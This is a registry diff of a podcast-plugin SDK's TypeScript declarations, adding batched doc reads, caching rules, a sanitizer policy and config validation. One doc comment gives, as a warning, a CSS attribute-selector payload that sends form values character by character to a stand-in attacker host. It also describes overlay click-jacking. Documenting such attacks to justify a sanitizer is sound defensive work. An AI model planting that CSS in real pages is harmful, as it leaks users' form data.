@mosaicast/plugin-sdk 0.14.0 → 0.16.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/dist/index.d.ts CHANGED
@@ -17,7 +17,7 @@
17
17
  * rejects a mismatch at startup (ARCHITECTURE §7.2). While the SDK is pre-1.0 a breaking change is
18
18
  * therefore a *minor* bump; from `1.0.0` on, breaking means major.
19
19
  */
20
- export declare const PLATFORM_API_VERSION: '0.14.0';
20
+ export declare const PLATFORM_API_VERSION: '0.16.0';
21
21
  /** A user's role (ARCHITECTURE §8.5). Anonymous visitors have no role (`user` is `null`). */
22
22
  export type Role = 'admin' | 'podcaster' | 'fan';
23
23
  /**
@@ -112,10 +112,29 @@ export interface ThemeTokens {
112
112
  text: string;
113
113
  /** Muted/secondary text color. */
114
114
  textMuted: string;
115
- /** Accent color. */
115
+ /**
116
+ * The accent as the admin chose it — for **fills** (buttons, badges, bars), paired with
117
+ * {@link accentContrast} for whatever sits on top.
118
+ *
119
+ * **Not for text, links or focus rings.** The seed is not contrast-checked against the page: a pale
120
+ * choice such as `#FFF176` measured 1.12:1 as link text. Use {@link accentText} (`--mc-accent-text`)
121
+ * for anything read or anything that marks focus.
122
+ */
116
123
  accent: string;
117
124
  /** Readable text color on top of {@link accent}. */
118
125
  accentContrast: string;
126
+ /**
127
+ * The accent clamped to WCAG AA (4.5:1) against both {@link bg} and {@link surface} — for **text,
128
+ * links and focus rings**, where {@link accent} may be unreadable.
129
+ *
130
+ * Optional because a host older than `0.16.0` does not send it. The host also sets
131
+ * `--mc-accent-text` on `:root`, which inherits through the shadow boundary, so in CSS
132
+ * `color: var(--mc-accent-text)` works whether or not this field is present. The SDK writes it onto
133
+ * `:host` only when it is.
134
+ *
135
+ * @since 0.16.0
136
+ */
137
+ accentText?: string;
119
138
  /** Optional secondary accent. */
120
139
  accent2?: string;
121
140
  /** Border/divider color. */
@@ -167,7 +186,9 @@ export interface PagedDocs<T = unknown> {
167
186
  *
168
187
  * ```text
169
188
  * GET /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}
170
- * → one JSON doc; 404 if absent
189
+ * → one JSON doc; 204 (no body) if the key is not set
190
+ * GET /api/plugins/{id}/data/{scopeType}?ids=a,b&keys=x,y
191
+ * → { a: { x: … }, b: {} } — misses absent; ≤ 100 ids and ≤ 100 keys (since 0.16.0)
171
192
  * GET /api/plugins/{id}/data/{scopeType}/{scopeId}?prefix=&page=&size=
172
193
  * → { items: [{ key, value }], page, size, totalElements, totalPages }
173
194
  * PUT /api/plugins/{id}/data/{scopeType}/{scopeId}/{key} (JSON body)
@@ -188,7 +209,8 @@ export interface PagedDocs<T = unknown> {
188
209
  * The doc a backend writes with `ctx.store().put(scope, key, value)` is the one read here at
189
210
  * `GET /api/plugins/{id}/data/{scopeType}/{scopeId}/{key}`: one store, two ends. The `user` scope is the
190
211
  * exception — it exists only here. A backend has no calling user, so it cannot write a user partition at
191
- * all and reads them only in aggregate, through the Java `DocStore.queryAcrossUsers(prefix)`.
212
+ * all and reads them only in aggregate, through the Java `ctx.allUsers().query(prefix)` — which the
213
+ * manifest has to declare ({@link PluginDataDeclaration.readsAllUsers}).
192
214
  *
193
215
  * ## Where per-user data goes
194
216
  *
@@ -253,7 +275,7 @@ export interface PagedDocs<T = unknown> {
253
275
  * await ctx.api.delete(`${mine}/${key}`); // idempotent
254
276
  *
255
277
  * // A leaderboard is not built here: the backend aggregates every user's marks with
256
- * // queryAcrossUsers(...) and writes the result to `${shared}/leaderboard` for this component to read.
278
+ * // ctx.allUsers().query(...) and writes the result to `${shared}/leaderboard` for this component to read.
257
279
  * // If the manifest declares that key backendOwned, a PUT to it from here is a 403 — by design.
258
280
  * const board = await ctx.api.get<Leaderboard>(`${shared}/leaderboard`);
259
281
  * ```
@@ -262,13 +284,16 @@ export interface PluginApiClient {
262
284
  /**
263
285
  * GET a path, resolving to the parsed JSON body.
264
286
  *
265
- * Rejects with a {@link PluginApiError} on any non-2xx response — **including 404**, which is the
266
- * normal answer for a document that does not exist yet. Prefer {@link getOrNull} when absence is an
267
- * expected outcome rather than a failure.
287
+ * Rejects with a {@link PluginApiError} on any non-2xx response. A document that is simply not set
288
+ * answers **204** (since 0.16.0; it was a 404 before), which this resolves as **`undefined`** — so a
289
+ * raw `get` of a doc path can come back empty. Prefer {@link getOrNull}, or better `ctx.docs.get`,
290
+ * when absence is an expected outcome rather than a failure. A 404 now means the *address* is wrong:
291
+ * an unknown or disabled plugin, an unknown scope.
268
292
  */
269
293
  get<T = unknown>(path: string): Promise<T>;
270
294
  /**
271
- * Like {@link get}, but resolves **`null`** on a 404 instead of rejecting.
295
+ * Like {@link get}, but resolves **`null`** for an absent document — the host's 204 — and on a 404
296
+ * instead of rejecting.
272
297
  *
273
298
  * "Nothing saved yet" is the ordinary state of a doc-store key, so every plugin ends up writing
274
299
  * `get(path).catch(() => undefined)` — which also swallows the 500, the 403 from the read floor and
@@ -278,7 +303,7 @@ export interface PluginApiClient {
278
303
  * Every other non-2xx still rejects with a {@link PluginApiError}.
279
304
  *
280
305
  * @param path the path relative to the plugin's base
281
- * @returns the parsed body, or `null` when the host answered 404
306
+ * @returns the parsed body, or `null` when the host answered 204 or 404
282
307
  * @since 0.9.0
283
308
  */
284
309
  getOrNull<T = unknown>(path: string): Promise<T | null>;
@@ -359,6 +384,14 @@ export declare function isPluginApiError(e: unknown): e is PluginApiError;
359
384
  * @since 0.9.0
360
385
  */
361
386
  export declare const DOC_KEY_PATTERN: RegExp;
387
+ /**
388
+ * The most scope ids, and the most keys, one {@link DocClient.getMany} request carries — the host's
389
+ * per-request ceiling. The client splits a larger call for you, so this is for sizing, not a limit you
390
+ * have to enforce.
391
+ *
392
+ * @since 0.16.0
393
+ */
394
+ export declare const DOC_BATCH_LIMIT = 100;
362
395
  /**
363
396
  * Which partition a {@link DocClient} call addresses.
364
397
  *
@@ -373,7 +406,7 @@ export declare const DOC_KEY_PATTERN: RegExp;
373
406
  export type DocTarget = Scope | 'self' | 'site';
374
407
  /**
375
408
  * A typed client for this plugin's doc store — the same endpoints {@link PluginApiClient} reaches, with
376
- * the path building, the key validation and the 404 handling done for you.
409
+ * the path building, the key validation and the absence handling done for you.
377
410
  *
378
411
  * Every doc access before this was string concatenation against a four-segment path, with the plugin
379
412
  * responsible for `encodeURIComponent`, for {@link DOC_KEY_PATTERN}, for knowing that `site` is always
@@ -402,11 +435,31 @@ export type DocTarget = Scope | 'self' | 'site';
402
435
  * unknown scope, the 401 on an anonymous `user` request. See {@link PluginApiClient} for all of it;
403
436
  * that client stays available as the escape hatch for anything this does not cover.
404
437
  *
438
+ * ## What it remembers for you (guaranteed since 0.16.0)
439
+ *
440
+ * "This episode has no highlight" is the **normal** answer for an optional per-episode document, and a
441
+ * tile asks for its keys every time it renders. Measured before these guarantees: 98% of one session's
442
+ * 3,737 plugin requests were answers of "not set", one key asked 178 times. So the host's client
443
+ * promises, per plugin and per signed-in identity, for the life of the page:
444
+ *
445
+ * 1. **Identical `get`s in flight share one request.**
446
+ * 2. **A miss is remembered.** A key the host answered "not set" resolves `null` without a round trip
447
+ * from then on — misses from {@link getMany} included.
448
+ * 3. **Your own writes are seen.** `put` and `remove` through this client forget the address they
449
+ * touched, so reading back what you just stored returns it rather than the earlier miss.
450
+ * 4. **Hits are never cached.** A document another session wrote shows up on the next render.
451
+ * 5. **An error is never remembered** — a 404 (unknown plugin or scope) or a 5xx is retried next time.
452
+ *
453
+ * What that means for your code: a cache of **misses** of your own is unnecessary — delete it. A cache
454
+ * of **hits** is allowed but harmful the moment it outlives a write made elsewhere; if you keep one,
455
+ * scope it to a render. And for more than one scope, use {@link getMany}: one request for a whole page
456
+ * of cards instead of one per card per key.
457
+ *
405
458
  * @since 0.9.0
406
459
  */
407
460
  export interface DocClient {
408
461
  /**
409
- * One document, or **`null`** when there is none.
462
+ * One document, or **`null`** when there is none (the host's 204).
410
463
  *
411
464
  * Null rather than a rejection: absence is the ordinary state of a key nothing has written yet, and
412
465
  * making it an exception is what produced the `catch` that also swallowed every real failure. Other
@@ -417,6 +470,33 @@ export interface DocClient {
417
470
  * @throws Error synchronously-thrown-as-rejection if the key is malformed
418
471
  */
419
472
  get<T = unknown>(target: DocTarget, key: string): Promise<T | null>;
473
+ /**
474
+ * The same keys across many scopes of one level, in one request — what a page of episode cards needs.
475
+ *
476
+ * ```ts
477
+ * const slugs = ctx.episodes.slice(0, 20);
478
+ * const docs = await ctx.docs.getMany<Highlight>('episode', slugs, ['highlight', 'template']);
479
+ * for (const slug of slugs) render(slug, docs[slug]?.highlight ?? null);
480
+ * ```
481
+ *
482
+ * The answer maps scope id → key → value, and **a miss is simply absent**: no `null`, no error — an
483
+ * id with nothing set may be missing entirely or map to `{}`. Every access rule of {@link get} applies
484
+ * per id: the same read floor, and an id the caller may not address rejects the whole call with a
485
+ * {@link PluginApiError} rather than being quietly skipped.
486
+ *
487
+ * More than {@link DOC_BATCH_LIMIT} ids or keys is **split** into several requests and merged, so you
488
+ * never see the host's per-request ceiling. An empty `ids` or `keys` resolves `{}` without a request.
489
+ * Misses feed the same memory {@link get} uses, so a later `get` of one costs nothing.
490
+ *
491
+ * Not for `user` scope: there is one caller partition, and `get('self', key)` reads it.
492
+ *
493
+ * @param type the scope level every id belongs to
494
+ * @param ids scope ids at that level — episode slugs, feed ids, `'main'` for the site
495
+ * @param keys document keys; each must match {@link DOC_KEY_PATTERN}
496
+ * @throws Error synchronously-thrown-as-rejection if a key is malformed
497
+ * @since 0.16.0
498
+ */
499
+ getMany<T = unknown>(type: Scope['type'], ids: string[], keys: string[]): Promise<Record<string, Record<string, T>>>;
420
500
  /**
421
501
  * Upserts a document. Last-write-wins, as everywhere on this store.
422
502
  *
@@ -995,8 +1075,34 @@ export declare function matchRoute<P extends string>(path: string, patterns: rea
995
1075
  export interface DisplaySnapshot {
996
1076
  /** The episode title from the feed. */
997
1077
  title: string;
998
- /** The episode description/show notes; may be empty. */
1078
+ /**
1079
+ * The episode's show notes **exactly as the third-party feed published them** — HTML; may be empty.
1080
+ *
1081
+ * **Untrusted input. Never assign it to `innerHTML` as it stands.** The host does not sanitize this
1082
+ * field: it is whatever the podcast host put in the feed, fetched over the network, and anyone who can
1083
+ * edit that feed controls it. The shell renders the same string only through its own sanitizer; a
1084
+ * plugin that inserts it raw gets markup and CSS injection on a page with `style-src 'unsafe-inline'` —
1085
+ * a full-viewport overlay, or attribute-selector CSS that exfiltrates form values. Either:
1086
+ *
1087
+ * - show {@link descriptionText} (plain text — the right choice for a card or a teaser), or
1088
+ * - pass it through {@link PluginContext.sanitize} first, which applies the shell's own policy.
1089
+ *
1090
+ * ```ts
1091
+ * body.innerHTML = ctx.sanitize(snap.description); // never: body.innerHTML = snap.description
1092
+ * ```
1093
+ */
999
1094
  description: string;
1095
+ /**
1096
+ * The same show notes as **plain text** — tags removed and entities decoded by the host. Never absent;
1097
+ * empty when the feed has no description.
1098
+ *
1099
+ * Safe to put in `textContent` as it stands, and what a card, a teaser, a tooltip or a search excerpt
1100
+ * should use. Whitespace between block elements is collapsed to single spaces, so it is one run of
1101
+ * prose, not a layout.
1102
+ *
1103
+ * @since 0.16.0
1104
+ */
1105
+ descriptionText: string;
1000
1106
  /** The enclosure audio URL; absent for a `PLANNED` episode with no audio yet. */
1001
1107
  audioUrl?: string;
1002
1108
  /** The publication timestamp (ISO-8601 instant); absent for a `PLANNED` episode. */
@@ -1032,6 +1138,54 @@ export declare function resolveArtwork(snapshot: DisplaySnapshot): string | unde
1032
1138
  * @since 0.9.0
1033
1139
  */
1034
1140
  export declare const DISPLAY_BATCH_LIMIT = 200;
1141
+ /**
1142
+ * The HTML policy the host applies to third-party markup — mirror of the shell's feed-HTML sanitizer,
1143
+ * and what {@link PluginContext.sanitize} applies.
1144
+ *
1145
+ * Plain data, so the SDK stays dependency-free and the host can import this one object instead of
1146
+ * keeping a copy. The names map one-to-one onto DOMPurify's config keys (`ALLOWED_TAGS`,
1147
+ * `ALLOWED_ATTR`, `FORBID_TAGS`, `FORBID_ATTR`, `ALLOWED_URI_REGEXP`) for a plugin that must run its own
1148
+ * sanitizer somewhere `ctx` does not reach — but prefer `ctx.sanitize`, which is the same decision
1149
+ * without a dependency.
1150
+ *
1151
+ * ## Why not DOMPurify's defaults
1152
+ *
1153
+ * The defaults are built to stop *script execution*, and they do. They also permit `<style>` and the
1154
+ * `style` attribute, filtering CSS only for `expression()` and `behavior:`, not for `url()`. The plugin
1155
+ * contract requires `style-src 'unsafe-inline'` (Web Components style their shadow roots), and `img-src`
1156
+ * stays open to any `https:` origin because artwork comes from arbitrary feed hosts. Together that makes
1157
+ * any unsanitized stylesheet reachable, with two measured consequences:
1158
+ *
1159
+ * - a fixed, full-viewport, high-`z-index` block is **click-jacking** over the site chrome;
1160
+ * - `input[value^="a"]{background-image:url(https://attacker/a)}` **exfiltrates** rendered form values
1161
+ * one character at a time.
1162
+ *
1163
+ * So the lists are narrow and explicit: prose, links, lists, tables and images. Widening one is a
1164
+ * decision somebody makes on purpose; inheriting a default is a decision nobody made.
1165
+ *
1166
+ * @since 0.16.0
1167
+ */
1168
+ export declare const FEED_HTML_POLICY: Readonly<{
1169
+ /**
1170
+ * Every element that survives. Anything else is unwrapped — the element goes, its text stays — except
1171
+ * elements whose content is never prose (`script`, `style`, `template`, `iframe`, `svg`, …), which go
1172
+ * with their content.
1173
+ */
1174
+ allowedTags: readonly string[];
1175
+ /** Every attribute that survives, on any allowed element. */
1176
+ allowedAttrs: readonly string[];
1177
+ /**
1178
+ * Elements that never survive, even if a later edit adds them to `allowedTags` — belt and braces, so
1179
+ * widening one list cannot quietly reopen what this policy exists to close.
1180
+ */
1181
+ forbidTags: readonly string[];
1182
+ /** Attributes removed even if a later edit adds them to `allowedAttrs`. */
1183
+ forbidAttrs: readonly string[];
1184
+ /** What an `href` or `src` may start with; anything else (`javascript:`, `data:`) is dropped. */
1185
+ allowedUriRegexp: RegExp;
1186
+ /** The `rel` put on every link that leaves the site, next to `target="_blank"`. */
1187
+ externalLinkRel: string;
1188
+ }>;
1035
1189
  /**
1036
1190
  * Read access to episode display snapshots — the frontend half of the Java `FeedAccess`.
1037
1191
  *
@@ -1055,6 +1209,9 @@ export declare const DISPLAY_BATCH_LIMIT = 200;
1055
1209
  * refetch. That is a feature — a feed edit propagates — and the reason to read it live rather than copy
1056
1210
  * it. Cache per render, never per install.
1057
1211
  *
1212
+ * **`description` is untrusted third-party HTML** — see {@link DisplaySnapshot.description}. Show
1213
+ * `descriptionText`, or run `description` through {@link PluginContext.sanitize}; never insert it raw.
1214
+ *
1058
1215
  * ```ts
1059
1216
  * const cards = await ctx.feeds.displayMany(ctx.episodes.slice(0, 20));
1060
1217
  * for (const slug of ctx.episodes) {
@@ -1375,7 +1532,7 @@ export interface NotifyMessage {
1375
1532
  * a person who did not ask for it, so the host draws two lines you cannot move:
1376
1533
  *
1377
1534
  * - **You may only notify users you already hold `user`-scope data for.** Enforced against the same
1378
- * partitions the backend's `queryAcrossUsers` reads: bingo may write to its participants because
1535
+ * partitions the backend's `allUsers().query(...)` reads: bingo may write to its participants because
1379
1536
  * participants have rows, and no plugin can reach a user who never touched it.
1380
1537
  * - **The rate limits are the host's** — per recipient per window, plus a ceiling across all recipients.
1381
1538
  * A limit a plugin enforces is a limit a plugin can drop, so there is no counter here to read.
@@ -1449,8 +1606,9 @@ export interface NotifyClient {
1449
1606
  * assume `has('analytics')` says anything about *which* provider was accepted — it says the category was.
1450
1607
  *
1451
1608
  * If you need a visitor to be able to accept one of your services and refuse another, declare them under
1452
- * **different categories** (a plugin-declared category is allowed, it just has no translated label in the
1453
- * shell). That is the only lever the contract gives you.
1609
+ * **different categories** (a plugin-declared category is allowed; since `0.16.0` give it a label with
1610
+ * {@link PluginConsentCategoryLabel} — without one the shell can only show a generic phrase around the
1611
+ * raw id). That is the only lever the contract gives you.
1454
1612
  *
1455
1613
  * ## `necessary` is never asked about
1456
1614
  *
@@ -1596,6 +1754,21 @@ export interface PluginDataDeclaration {
1596
1754
  * the backend cannot write at all — even a bare `*` leaves those to their owner.
1597
1755
  */
1598
1756
  backendOwned?: string[];
1757
+ /**
1758
+ * Whether this plugin's **backend** may read every user's `user` partition at once — the Java
1759
+ * `ctx.allUsers()`, which is `null` without this.
1760
+ *
1761
+ * It is the one read that crosses an ownership boundary: every account's documents, each with the
1762
+ * owner's UUID. That is a different thing to be told about before installing than "keeps per-user
1763
+ * data", which is all the `user` scope implies — so it is declared, like `blobs`, `identity` and
1764
+ * `notifications`, and absent means no. Declare it for a leaderboard, a rollup, a moderation view.
1765
+ *
1766
+ * Nothing changes for the frontend: a browser only ever reads its own partition, `'self'`, whatever
1767
+ * this says. Until `0.16.0` the capability was `DocStore.queryAcrossUsers` and every plugin had it.
1768
+ *
1769
+ * @since 0.16.0
1770
+ */
1771
+ readsAllUsers?: boolean;
1599
1772
  }
1600
1773
  /**
1601
1774
  * One item a service stores on the visitor's device, as declared in `plugin.json`.
@@ -1671,6 +1844,46 @@ export interface ConsentServiceDeclaration {
1671
1844
  /** Each item the service stores on the visitor's device. */
1672
1845
  storage: ConsentStorageDeclaration[];
1673
1846
  }
1847
+ /**
1848
+ * What a visitor reads for a consent category **your plugin introduced** — one entry of the manifest's
1849
+ * `consent.categoryLabels`, keyed by the category id.
1850
+ *
1851
+ * The category is the thing being consented to, so it is the one plugin-authored string that cannot fall
1852
+ * back to a developer key. The core categories (`necessary`, `functional`, `analytics`) have a title and
1853
+ * an explanation in every shell language; a plugin-declared one such as `social` used to appear as the
1854
+ * bare lowercase word, with nothing to say what it covers, between two that explain themselves.
1855
+ *
1856
+ * ```json
1857
+ * "consent": {
1858
+ * "services": [{ "id": "mastodon", "category": "social", … }],
1859
+ * "categoryLabels": {
1860
+ * "social": {
1861
+ * "label": { "en": "Social media", "de": "Soziale Medien" },
1862
+ * "hint": { "en": "Posts embedded from social networks.", "de": "Eingebettete Beiträge aus sozialen Netzwerken." }
1863
+ * }
1864
+ * }
1865
+ * }
1866
+ * ```
1867
+ *
1868
+ * The rules the host applies:
1869
+ *
1870
+ * - **Declaring a category outside the core vocabulary obliges you to label it.** An unlabelled one still
1871
+ * loads, but the host shows it wrapped in a generic localised phrase ("Other services: social") rather
1872
+ * than as a choice it can explain — which is a worse consent request, not a neutral one.
1873
+ * - **A core category cannot be relabelled.** An entry for `necessary`, `functional` or `analytics` is
1874
+ * refused at load: a plugin rewording what every other plugin's visitors consent to is not a label.
1875
+ * - **An entry must label a category one of your services declares**, and is refused at load otherwise.
1876
+ * - **Two plugins labelling the same category** is resolved by the host, deterministically — the
1877
+ * decision is shared across plugins (see {@link ConsentApi}), so only one label can be shown.
1878
+ *
1879
+ * @since 0.16.0
1880
+ */
1881
+ export interface PluginConsentCategoryLabel {
1882
+ /** The category's name in the consent notice and the settings page — short, like a heading. */
1883
+ label: LocalizedText;
1884
+ /** One sentence under it: what accepting this category lets load, in the visitor's terms. */
1885
+ hint?: LocalizedText;
1886
+ }
1674
1887
  /**
1675
1888
  * The shape of your manifest's `tags` block — whether this plugin reads the site vocabulary, and whether
1676
1889
  * it may tag **episodes**.
@@ -1793,6 +2006,32 @@ export interface PluginNavDeclaration {
1793
2006
  /** The minimum role that sees this entry. */
1794
2007
  role?: DataAccessRole;
1795
2008
  }
2009
+ /**
2010
+ * Text the host renders to an operator, in as many languages as you can write it.
2011
+ *
2012
+ * A plain string is one language and always accepted. The map form is locale code → text, resolved by the
2013
+ * host down the chain the shell already uses everywhere else: the exact locale, then its base language so
2014
+ * `de-AT` finds a `de` entry, then `en`, then any entry that exists.
2015
+ *
2016
+ * @since 0.15.0
2017
+ */
2018
+ export type LocalizedText = string | Record<string, string>;
2019
+ /**
2020
+ * One choice of a config field that declares a closed set.
2021
+ *
2022
+ * A field with `options` is rendered as a select and accepts nothing outside them — checked at load for
2023
+ * the manifest's own `default` and at write time for an operator's override. Before that existed, a field
2024
+ * its plugin understood as exactly two words was a free-text box in which a typo validated, saved, and
2025
+ * then fell back silently at read time.
2026
+ *
2027
+ * @since 0.15.0
2028
+ */
2029
+ export interface PluginConfigOption {
2030
+ /** The value stored and handed back to your backend. */
2031
+ value: string | number | boolean;
2032
+ /** What the operator sees; falls back to the value itself when absent. */
2033
+ label?: LocalizedText;
2034
+ }
1796
2035
  /** One declared config field, rendered by core as a generic admin form (§7.2). @since 0.9.0 */
1797
2036
  export interface PluginConfigField {
1798
2037
  /** The value type the admin form renders. */
@@ -1801,8 +2040,56 @@ export interface PluginConfigField {
1801
2040
  default?: string | number | boolean;
1802
2041
  /** The minimum role that may edit it. */
1803
2042
  editableBy?: DataAccessRole;
1804
- /** A short explanation shown beside the field. */
1805
- description?: string;
2043
+ /**
2044
+ * The field's name in the form, in place of the raw key.
2045
+ *
2046
+ * Plugins may not build their own config UI (§7.2), so the generic form is the only thing an operator
2047
+ * ever sees — and without this it shows them `ingestIntervalSeconds` and nothing else. The key stays
2048
+ * visible next to the label, because the key is what your own docs name.
2049
+ *
2050
+ * @since 0.15.0
2051
+ */
2052
+ label?: LocalizedText;
2053
+ /**
2054
+ * A short explanation shown under the field: what the setting does, what a sane value looks like, what
2055
+ * unit it is in.
2056
+ *
2057
+ * Widened to {@link LocalizedText} in `0.15.0`; a plain string still means one language.
2058
+ */
2059
+ description?: LocalizedText;
2060
+ /**
2061
+ * The closed set of values this field accepts. Omit for a free-form input.
2062
+ *
2063
+ * @since 0.15.0
2064
+ */
2065
+ options?: PluginConfigOption[];
2066
+ /**
2067
+ * The smallest value a `number` field accepts, inclusive.
2068
+ *
2069
+ * Without it, any number an operator can type is legal — including the `0` that switches a scheduled
2070
+ * task off, or the `-1` that gets it rejected at the next boot. Declare the constraint here rather than
2071
+ * clamping in code, where it runs only after the bad value is stored and the form has said "Saved."
2072
+ *
2073
+ * The host enforces every bound below the same way: an out-of-range write is **refused** with a 400 that
2074
+ * names the bound (never silently clamped); the admin form renders them as input constraints; a manifest
2075
+ * whose `default` breaks its own bounds, whose `min` exceeds its `max`, or that puts a bound on the
2076
+ * wrong type (`min` on a `string`, `maxLength` on a `number`) is refused at load; and a value stored
2077
+ * before a bound existed that now breaks it is treated as **unset**, so the default applies.
2078
+ *
2079
+ * @since 0.16.0
2080
+ */
2081
+ min?: number;
2082
+ /** The largest value a `number` field accepts, inclusive. See {@link min}. @since 0.16.0 */
2083
+ max?: number;
2084
+ /**
2085
+ * The granularity of a `number` field: a value must be `min + k·step` (or `k·step` without `min`).
2086
+ * `1` makes a field whole-numbered. Must be positive. See {@link min}. @since 0.16.0
2087
+ */
2088
+ step?: number;
2089
+ /** The fewest characters a `string` field accepts; `1` makes it non-empty. See {@link min}. @since 0.16.0 */
2090
+ minLength?: number;
2091
+ /** The most characters a `string` field accepts. See {@link min}. @since 0.16.0 */
2092
+ maxLength?: number;
1806
2093
  }
1807
2094
  /** The shape of the manifest's `blobs` block (ARCHITECTURE §11.1). @since 0.9.0 */
1808
2095
  export interface PluginBlobsDeclaration {
@@ -1866,6 +2153,28 @@ export interface PluginExternalDeclaration {
1866
2153
  */
1867
2154
  usedBy?: DataAccessRole;
1868
2155
  }
2156
+ /**
2157
+ * The grammar of `frontend.entry` — mirror of the host's `PluginManifest.FRONTEND_ENTRY_PATTERN`.
2158
+ *
2159
+ * A relative path under the plugin's own `assets/`: one or more `[A-Za-z0-9._-]` segments joined by `/`,
2160
+ * with no leading slash, no `.` or `..` segment, no empty segment, and no query or fragment.
2161
+ *
2162
+ * It is the one manifest string that becomes a URL path, and it was the last one without a grammar: the
2163
+ * shell builds `/plugins/<id>/assets/<entry>` by interpolation, so an entry carrying `../`, `?` or `#`
2164
+ * addressed something other than what its author wrote. The host **rejects** a manifest whose entry does
2165
+ * not match — at load, with the entry named — rather than dropping the field, the same rule
2166
+ * {@link PluginDataDeclaration.backendOwned} follows: a plugin whose bundle silently never loads is worse
2167
+ * than one that fails with a named cause. Test your manifest against this to find out before the host
2168
+ * does.
2169
+ *
2170
+ * ```ts
2171
+ * FRONTEND_ENTRY_PATTERN.test('sample.es.js'); // true
2172
+ * FRONTEND_ENTRY_PATTERN.test('../sample.es.js'); // false
2173
+ * ```
2174
+ *
2175
+ * @since 0.16.0
2176
+ */
2177
+ export declare const FRONTEND_ENTRY_PATTERN: RegExp;
1869
2178
  /**
1870
2179
  * The whole of `plugin.json`, typed.
1871
2180
  *
@@ -1922,7 +2231,12 @@ export interface PluginManifest {
1922
2231
  };
1923
2232
  /** The frontend half: the bundle and the custom elements it registers. */
1924
2233
  frontend?: {
1925
- /** The ES module entry, relative to the plugin's bundle. */
2234
+ /**
2235
+ * The ES module entry, relative to the plugin's own `assets/` — e.g. `sample.es.js`.
2236
+ *
2237
+ * Must match {@link FRONTEND_ENTRY_PATTERN}: `[A-Za-z0-9._-]` segments joined by `/`, no leading
2238
+ * slash, no `.`/`..` segment, no query or fragment. The host rejects the plugin at load otherwise.
2239
+ */
1926
2240
  entry: string;
1927
2241
  /** Every custom-element tag the entry registers. Each `slots[].element` must be one of these. */
1928
2242
  elements: string[];
@@ -1951,7 +2265,13 @@ export interface PluginManifest {
1951
2265
  config?: Record<string, PluginConfigField>;
1952
2266
  /** Third-party services this plugin loads. Omit entirely when it loads none. */
1953
2267
  consent?: {
2268
+ /** Every service, each under the category the visitor decides it by. */
1954
2269
  services: ConsentServiceDeclaration[];
2270
+ /**
2271
+ * Labels for the categories your services introduce, keyed by category id — see
2272
+ * {@link PluginConsentCategoryLabel}. @since 0.16.0
2273
+ */
2274
+ categoryLabels?: Record<string, PluginConsentCategoryLabel>;
1955
2275
  };
1956
2276
  /** The host ignores fields it does not know, so this type does too. */
1957
2277
  [field: string]: unknown;
@@ -2110,7 +2430,7 @@ export interface PluginContext {
2110
2430
  api: PluginApiClient;
2111
2431
  /**
2112
2432
  * A typed client for the same doc store {@link api} reaches — path building, key validation and
2113
- * null-on-404 done for you.
2433
+ * null-when-absent done for you, plus request dedupe and a miss cache — see {@link DocClient}.
2114
2434
  *
2115
2435
  * Never `null`: every plugin has a doc store. `ctx.api` remains the escape hatch for anything this
2116
2436
  * does not cover. See {@link DocClient}, and note `'self'` for the caller's own partition.
@@ -2128,6 +2448,39 @@ export interface PluginContext {
2128
2448
  * @since 0.9.0
2129
2449
  */
2130
2450
  feeds: FeedsClient;
2451
+ /**
2452
+ * Makes HTML your plugin did not write safe to put in `innerHTML` — with **the host's own policy**,
2453
+ * the one the shell applies to feed HTML ({@link FEED_HTML_POLICY}).
2454
+ *
2455
+ * Use it for everything you did not author: a {@link DisplaySnapshot.description}, a user's or a
2456
+ * podcaster's rich text, rendered Markdown, anything fetched. It exists so that a plugin cannot end up
2457
+ * with a *weaker* policy than the host by writing less code: reaching for `DOMPurify.sanitize(html)`
2458
+ * with library defaults lets `<style>` and `style=` through, which is exactly what the host refuses and
2459
+ * why (see {@link FEED_HTML_POLICY}).
2460
+ *
2461
+ * What it does, and nothing else:
2462
+ *
2463
+ * - keeps only the allowed tags and attributes, dropping `<style>`, `<script>`, `<iframe>`, forms and
2464
+ * every `style`, `srcset` and event-handler attribute — including their content where that could run
2465
+ * or style anything;
2466
+ * - drops an `href`/`src` that is not `http(s):`, `mailto:`, `tel:`, `#…` or a `/` path;
2467
+ * - gives every link that leaves the site `target="_blank"` and `rel="noopener noreferrer nofollow ugc"`
2468
+ * — following one in the same tab would tear down the SPA and stop the player.
2469
+ *
2470
+ * Synchronous and never `null`: there is nothing to declare, because it grants nothing. Run it on the
2471
+ * **final** HTML, after Markdown rendering — sanitizing the input and then transforming it undoes the
2472
+ * point.
2473
+ *
2474
+ * ```ts
2475
+ * root.querySelector('.notes')!.innerHTML = ctx.sanitize(snap.description);
2476
+ * root.querySelector('.page')!.innerHTML = ctx.sanitize(marked.parse(markdown));
2477
+ * ```
2478
+ *
2479
+ * @param html untrusted HTML; `null`, `undefined` and `''` all give `''`
2480
+ * @returns HTML safe to assign to `innerHTML` inside your shadow root
2481
+ * @since 0.16.0
2482
+ */
2483
+ sanitize(html: string | null | undefined): string;
2131
2484
  /**
2132
2485
  * The site's shared tag vocabulary, or **`null`** when the manifest declares no `tags` block
2133
2486
  * (ARCHITECTURE §6.1).
@@ -2323,23 +2676,71 @@ export interface PluginContext {
2323
2676
  /** Host theme tokens, also injected as `--mc-*` CSS custom properties. */
2324
2677
  theme: ThemeTokens;
2325
2678
  }
2679
+ /**
2680
+ * What a render may return so it can **survive a new `ctx`** instead of being torn down for it.
2681
+ *
2682
+ * Returning a plain cleanup function (or nothing) keeps the original behaviour: every `ctx` assignment
2683
+ * destroys the render and builds a new one, losing component state, in-flight requests, scroll position
2684
+ * and open dialogs. That is fine for a static card and wrong for anything else, because `ctx` changes far
2685
+ * more often than "a consent choice or a language switch" — a host that rebuilds its context object
2686
+ * during playback can reassign it several times a second.
2687
+ *
2688
+ * Return this instead and the SDK stops tearing down: on a new `ctx` it refreshes the theme variables,
2689
+ * calls {@link update} with the new context and leaves `root` and everything in it alone. {@link destroy}
2690
+ * then means what it says — the element is going away.
2691
+ *
2692
+ * ```ts
2693
+ * defineMosaicastElement({
2694
+ * tag: 'bingo-card',
2695
+ * render: ({ ctx, root }) => {
2696
+ * const app = mountMyFramework(root, ctx);
2697
+ * return { update: (next) => app.setCtx(next), destroy: () => app.unmount() };
2698
+ * },
2699
+ * });
2700
+ * ```
2701
+ *
2702
+ * @since 0.15.0
2703
+ */
2704
+ export interface MosaicastHandle {
2705
+ /**
2706
+ * Called with the new context whenever the host reassigns `ctx`, in place of a re-render.
2707
+ *
2708
